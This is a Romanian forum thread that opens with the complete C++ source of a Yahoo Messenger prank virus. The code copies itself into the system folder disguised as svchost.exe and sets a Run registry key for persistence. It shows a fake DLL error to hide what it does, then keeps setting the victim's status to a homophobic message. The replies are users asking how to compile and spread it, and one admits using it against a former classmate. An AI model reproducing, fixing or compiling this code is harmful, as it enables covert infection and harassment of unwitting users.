Sursa virusului gay pasiv

[ghici]

by DJAx3L

//---------------------------------------------------------------------------

#include <vcl.h>

#include <Registry.hpp>

#pragma hdrstop

#define STATUSMSG "YOUR STATUS MESSAGE HERE"

//---------------------------------------------------------------------------

void setstatus() {

        AnsiString *username = new AnsiString;

        TRegistry *RegGet = new TRegistry(KEY_READ);

        try

        {

                RegGet->RootKey = HKEY_CURRENT_USER;

                RegGet->OpenKey("SoftwareYahoopager",false);

                *username = RegGet->ReadString("Yahoo! User ID");

        }

        __finally

        {

                delete RegGet;

        }

        TRegistry *RegSet = new TRegistry(KEY_WRITE);

        try

        {

                RegSet->RootKey = HKEY_CURRENT_USER;

                AnsiString key = "SoftwareYahoopagerProfiles" + *username + "Custom Msgs";

                RegSet->OpenKey(key,false);

                RegSet->WriteString("5",STATUSMSG);

        }

        __finally

        {

                delete RegSet;

        }

        HWND hWndY = FindWindow ("YahooBuddyMain", NULL);

        PostMessage (hWndY, WM_COMMAND, 0x188, 0);

        delete username;

        Sleep(15000);

        setstatus();

}



//---------------------------------------------------------------------------

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

{

        try

        {

                if(ExtractFileName(Application->ExeName) != "svchost.exe") {

                        char target[30];

                        GetSystemDirectory(target, MAX_PATH);

                        AnsiString tg = target;

                        tg +=  "driverssvchost.exe";

                        CopyFile(Application->ExeName.c_str(),tg.c_str(),0);

                        TRegistry *regrun = new TRegistry;

                        try

                        {

                                regrun->RootKey = HKEY_CURRENT_USER;

                                AnsiString key = "SoftwareMicrosoftWindowsCurrentVersionRun";

                                regrun->OpenKey(key,false);

                                regrun->WriteString("braaainz","""+tg+""");

                        }

                        __finally

                        {

                                delete regrun;

                        }

                        Application->ShowException(&Exception("Could not locate entry point __GETICON in shell32.dll"));

                        ShellExecute(NULL,"open",tg.c_str(),NULL,NULL,SW_SHOW);

                        ExitProcess(0);





                }

                setstatus();

        }

        catch (Exception &exception)

        {

               Application->ShowException(&exception);

        }

        catch (...)

        {

                 try

                 {

                         throw Exception("");

                 }

                 catch (Exception &exception)

                 {

                      Application->ShowException(&exception);

                 }

        }

        return 0;

}

//---------------------------------------------------------------------------

[mario23]

CE stie frate asta sa faca ??? sper ca nu se f**e cu calculatoru !!!

[Screech]

<div class='quotetop'>QUOTE("mario23")</div>

CE stie frate asta sa faca ??? sper ca nu se f**e cu calculatoru !!!

cred ca este vorba despre binecunoscutul "sunt gay pasiv daca esti gay activ si bine dotat cauta-ma" (yahoo status changer)

[djradu]

ssuuppeerr marpha !!!!

[nos]

il stiu deschisese unu intrase dupa 2 luni pe mess tot ala il avea

[ROb69]

asa si cum fac sa il pun si io ???

[eddie47]

ROb69 ai citit regulile tu, ma ?! :@

[Pastilatu']

oooo bun chiar il cautam acusica ma bag sa il fac :@

[Flubber]

e c++ oare cat i-a luat lu ala sa faca virusu ?

[cigraphics]

aaaa ce mi-am batut joc de un fost coleg

dar sursa asta cand incerc sa o compilez cu cygwin imi arata k are tot felul de erori

cu ce sa-l compilez ??

[rellik]

cu bc.exe din borlandc

[cigraphics]

pai poate cineva sa uploadeze programul ??? va rog mult de tot :@

[B_Real]

Ce imi da cand incerc sa-i dau compil

[Sad_Dreamer]

parca e in C codu' ...:@?

[B_Real]

am folosit programu pt compiler ca , cu cygwin nu pot si imi da erorile alea .

Nu poata sa puna cineva programu gata facut

[djradu]

cu cygwin nu merge !!!!!!!!!!!!!! dece oare nu merge ? da multe erori fff multe !! daca poate cineva sa il repare ssi sa il posteze reparat pls !